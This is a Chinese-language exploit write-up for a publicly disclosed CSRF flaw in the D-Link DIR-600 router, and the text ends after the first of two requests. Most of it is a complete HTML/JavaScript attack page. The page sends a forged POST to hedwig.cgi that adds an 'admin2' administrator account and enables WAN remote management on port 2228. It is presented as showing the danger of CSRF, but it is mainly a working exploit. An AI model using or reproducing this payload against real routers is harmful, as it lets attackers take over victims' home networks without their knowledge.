1，介绍
　　本文的目的是展示CSRF漏洞的危害，以D-link的DIR-600路由器（硬件版本：BX，固件版本：2.16）的CSRF漏洞为例。
　　D-link的CSRF漏洞已经是公开的，本文将详细描述一下整个D-link CSRF漏洞的利用，如何通过CSRF漏洞实现远程管理访问D-link路由器。
　　2，CSRF漏洞说明
　　如果某些request请求中没有csrf  token或不需要密码授权，会存在CSRF漏洞，该漏洞允许攻击者伪造登录用户发送请求，因此可以导致用户执行攻击者想要的操作请求。
　　通过D-link 管理面板的CSRF漏洞，攻击者可以做以下操作：
　　@1，添加一个新的管理帐号；
　　@2，启用路由器的远程管理；
　　@3，ping特定的机器；此操作只需要登录路由器可以实现，需要知道路由器的WAN IP地址。
　　3，PART1:给路由器增加一个新的管理帐号
　　需要两个request请求来完成
　　REQUEST1:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST"， "http://192.168.0.1/hedwig.cgi"， true);
xhr.setRequestHeader("Accept"， "text/html，application/xhtml+xml，application/xml;q=0.9，*/*;q=0.8");
xhr.setRequestHeader("Accept-Language"， "en-US，en;q=0.5");
xhr.setRequestHeader("Content-Type"， "text/plain; charset=UTF-8");
xhr.withCredentials = "true";
var body = "<?xml version="1.0" encoding="UTF-8" ?>"+
"
<postxml>"+
"<module>"+
"<service>DEVICE.ACCOUNT</service>"+
"<device>"+
"<account>"+
"<seqno/>"+
"<max>1</max>"+
"<count>2</count>"+
"<entry>"+
"<name>admin</name>"+
"
<password>==OoXxGgYy==</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"<entry>"+
"<name>admin2</name>"+
"
<password>pass2</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"</account>"+
"<session>"+
"<captcha>0</captcha>"+
"<dummy/>"+
"<timeout>180</timeout>"+
"<maxsession>128</maxsession>"+
"<maxauthorized>16</maxauthorized>"+
"</session>"+
"</device>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-1</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-2</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"</postxml>";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request1" onclick="submitRequest();" />
</form>
</body>
</html>